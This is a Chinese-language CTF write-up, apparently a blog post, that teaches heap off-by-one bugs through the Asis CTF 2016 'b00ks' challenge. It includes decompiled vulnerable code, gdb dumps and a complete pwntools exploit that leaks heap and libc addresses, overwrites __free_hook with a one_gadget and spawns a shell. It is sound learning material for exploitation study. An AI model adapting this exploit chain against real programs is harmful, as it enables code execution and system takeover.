0%

off-by-one

alt

堆中的 Off-By-One

pwn堆入门系列教程1

最近几天时间都在CTF wiki上学习堆利用,花了好长时间学习了off-by-one的利用。

介绍(引用ctf wiki)

严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。

off-by-one 漏洞原理 (引用ctf wiki)

off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
  • 字符串操作不合适

一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性,基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大。 此外,需要说明的一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based) 的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。

off-by-one 利用思路 (引用ctf wiki)

  1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
  2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块(理论上是当前正在 unlink 的块)与当前正在 unlink 的块大小是否相等。

off-by-one(这样的漏洞在刚开始学习写代码的时候特别容易出现)

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

int main()
{
char a[10];
int i;
for(i=0;i<10;i++)
{
a[i]=i;
}
a[10]='\0';
return 0;
}

数组总长度是10,从0开始,到9结束。程序错误的使用了a[10],造成了off-by-one。

Asis CTF 2016 b00ks

这道题是wiki上关于off-by-one的利用,我按照wiki上的exp,一步一步慢慢调试,终于弄会了,wiki上有俩种利用方法,目前我只弄会了第一种,第二种我会在后续发出来。

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
signed __int64 sub_B6D()
{
signed __int64 result; // rax@2

printf("Enter author name: ");
if ( (unsigned int)sub_9F5(off_202018, 32) )
{
printf("fail to read author_name", 32LL);
result = 1LL;
}
else
{
result = 0LL;
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
signed __int64 __fastcall sub_9F5(void *a1, int a2)
{
signed __int64 result; // rax@2
int i; // [sp+14h] [bp-Ch]@3
void *buf; // [sp+18h] [bp-8h]@3

if ( a2 > 0 )
{
buf = a1;
for ( i = 0; ; ++i ) //最多可以将名字长度写成32字符
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *(_BYTE *)buf == 10 )
break;
buf = (char *)buf + 1;
if ( i == a2 )
break;
}
*(_BYTE *)buf = 0; //危险部分
result = 0LL;
}
else
{
result = 0LL;
}
return result;
}

程序分析

b00k结构体
1
2
3
4
5
6
struct book{
int id;
char *name;
char *description;
int size;
}

程序运行, 创建一个结构体数组,设为b00ks.

b00k位置
1
2
3
4
gdb-peda$ x/30gx 0x555555756040
0x555555756040: 0x6161616161616161 0x6161616161616161
0x555555756050: 0x6161616161616161 0x6161616161616161 ---->author name
b00ks<--0x555555756060: 0x0000555555757480(frist b00ks) 0x0000000000000000

author name我们可以写入32个字符,程序会在最后加入‘\x00’,当我们创建book1时,frist b00ks会覆盖掉我们的‘\x00’,当我们输出author name时,我们就可以泄露出frist b00ks指针的地址了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def create(name_size,name,des_size,description):
sh.recvuntil('>')
sh.sendline(str(1))
sh.recvuntil(':')
sh.sendline(str(name_size))
sh.recvuntil(':')
sh.sendline(name)
sh.recvuntil(':')
sh.sendline(str(des_size))
sh.recvuntil(':')
sh.sendline(description)
def printf () :
sh.recvuntil('>')
sh.sendline('4')

sh.recvuntil(':')
payload='a'*32
sh.sendline(payload)

create(30,'bb',255,'cc')
printf()
sh.recvuntil('a'*32)
books_one=u64(sh.recv(6).ljust(8,'\x00'))
print ('books_one:' +hex(books_one))
创建第一个first b00k
1
2
0x555b07c4f160:	0x0000000000000001	0x0000555b07c4f020
0x555b07c4f170: 0x0000555b07c4f050 0x00000000000000ff

当我们开辟一个足够大的description,然后再一次修改author name,覆盖frist b00ks指针的最后一个字节,frist b00ks就会指向description,我们可以伪造一个b00k,让其中的name和description指向book2的name和description。这样我们就可以达到任意读写的目的。

空字节覆盖
1
2
3
0x557649c66040:	0x6161616161616161	0x6161616161616161
0x557649c66050: 0x6161616161616161 0x6161616161616161
0x557649c66060: 0x000055764b977100 0x000055764b977190
伪造b00k
1
2
3
4
5
6
7
8
9
10
11
12
0x55764b9770f0:	0x6161616161616161	0x6161616161616161
0x55764b977100: 0x0000000000000001 0x000055764b977198 ----
0x55764b977110: 0x000055764b9771a0 0x000000000000ffff |
0x55764b977120: 0x0000000000000000 0x0000000000000000 |
0x55764b977130: 0x0000000000000000 0x0000000000000000 |
0x55764b977140: 0x0000000000000000 0x0000000000000000 |
0x55764b977150: 0x0000000000000000 0x0000000000000031 |
0x55764b977160: 0x0000000000000001 0x000055764b977020 |
0x55764b977170: 0x000055764b977050 0x00000000000000ff |
0x55764b977180: 0x0000000000000000 0x0000000000000031 |
0x55764b977190: 0x0000000000000002 0x00007f4c77d67010 <-- |
0x55764b9771a0: 0x00007f4c77b847a8 0x0000000000021000

因为第二次申请了很大的chunk,所以程序会使用mmap来进行堆的申请,所以second b00kname pointerdescription pointer的指针可以用来泄露libc_base

泄露libc_base
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload='a'*0xb0+p64(0x1)+p64(books_one+0x38)+p64(books_one+0x40)+p64(0xffff)
edit(1,payload)
payload='a'*32
change(payload)

printf()
sh.recvuntil('Name: ')
name_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.recvuntil('Description: ')
description_addr=u64(sh.recv(6).ljust(8,'\x00'))
print ('name_addr:' +hex(name_addr))
print('description_addr:' +hex(description_addr))
#libc_base=description_addr-0x587010
libc_base=name_addr-0x5a9010
print('libc_base:' +hex(libc_base))
获取指针

我们还需要获取__free_hook指针和execve(‘/bin/sh’)的偏移,这里我们用one_gadget来获取。

1
2
free_hook=libc.symbols['__free_hook']+libc_base
execve_addr=libc_base+offset
修改

最后我们只需要通过修改我们伪造的b00k1的description为free_hook的指针地址,将b00k2的description填入execve的地址,然后delete b00k2就好了。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#! /usr/bin/env python
# coding='utf-8'
from pwn import *
#context.log_level='debug'
sh=process('./b00ks')
libc=ELF('./libc.so.6')

def create(name_size,name,des_size,description):
sh.recvuntil('>')
sh.sendline(str(1))
sh.recvuntil(':')
sh.sendline(str(name_size))
sh.recvuntil(':')
sh.sendline(name)
sh.recvuntil(':')
sh.sendline(str(des_size))
sh.recvuntil(':')
sh.sendline(description)

def delete (number) :
sh.recvuntil('>')
sh.sendline(str(2))
sh.recvuntil(':')
sh.sendline(str(number))

def edit(number,data) :
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(number))
sh.recvuntil(':')
sh.sendline(data)

def printf () :
sh.recvuntil('>')
sh.sendline('4')

def change (payload) :
sh.recvuntil('>')
sh.sendline('5')
sh.recvuntil(':')
sh.sendline(payload)

sh.recvuntil(':')
payload='a'*32
sh.sendline(payload)

create(30,'bb',255,'cc')
create(0x21000,'bb',0x21000,'cc')
printf()
sh.recvuntil('a'*32)
books_one=u64(sh.recv(6).ljust(8,'\x00'))
print ('books_one:' +hex(books_one))

payload='a'*0xb0+p64(0x1)+p64(books_one+0x38)+p64(books_one+0x40)+p64(0xffff)
edit(1,payload)
payload='a'*32
change(payload)

printf()
sh.recvuntil('Name: ')
name_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.recvuntil('Description: ')
description_addr=u64(sh.recv(6).ljust(8,'\x00'))
print ('name_addr:' +hex(name_addr))
print('description_addr:' +hex(description_addr))
#libc_base=description_addr-0x587010
libc_base=name_addr-0x5a9010
print('libc_base:' +hex(libc_base))

#offset=0x45216
offset=0x4526a
free_hook=libc.symbols['__free_hook']+libc_base
execve_addr=libc_base+offset
print('free_hook:' +hex(free_hook))
print('execve_addr:' +hex(execve_addr))

payload=p64(free_hook)
edit(1,payload)
payload=p64(execve_addr)
edit(2,payload)
#gdb.attach(sh)
delete(2)
#gdb.attach(sh)

sh.interactive()

参考:http://noonegroup.xyz/posts/1a1c1b4a/

参考:https://bbs.pediy.com/thread-225611.htm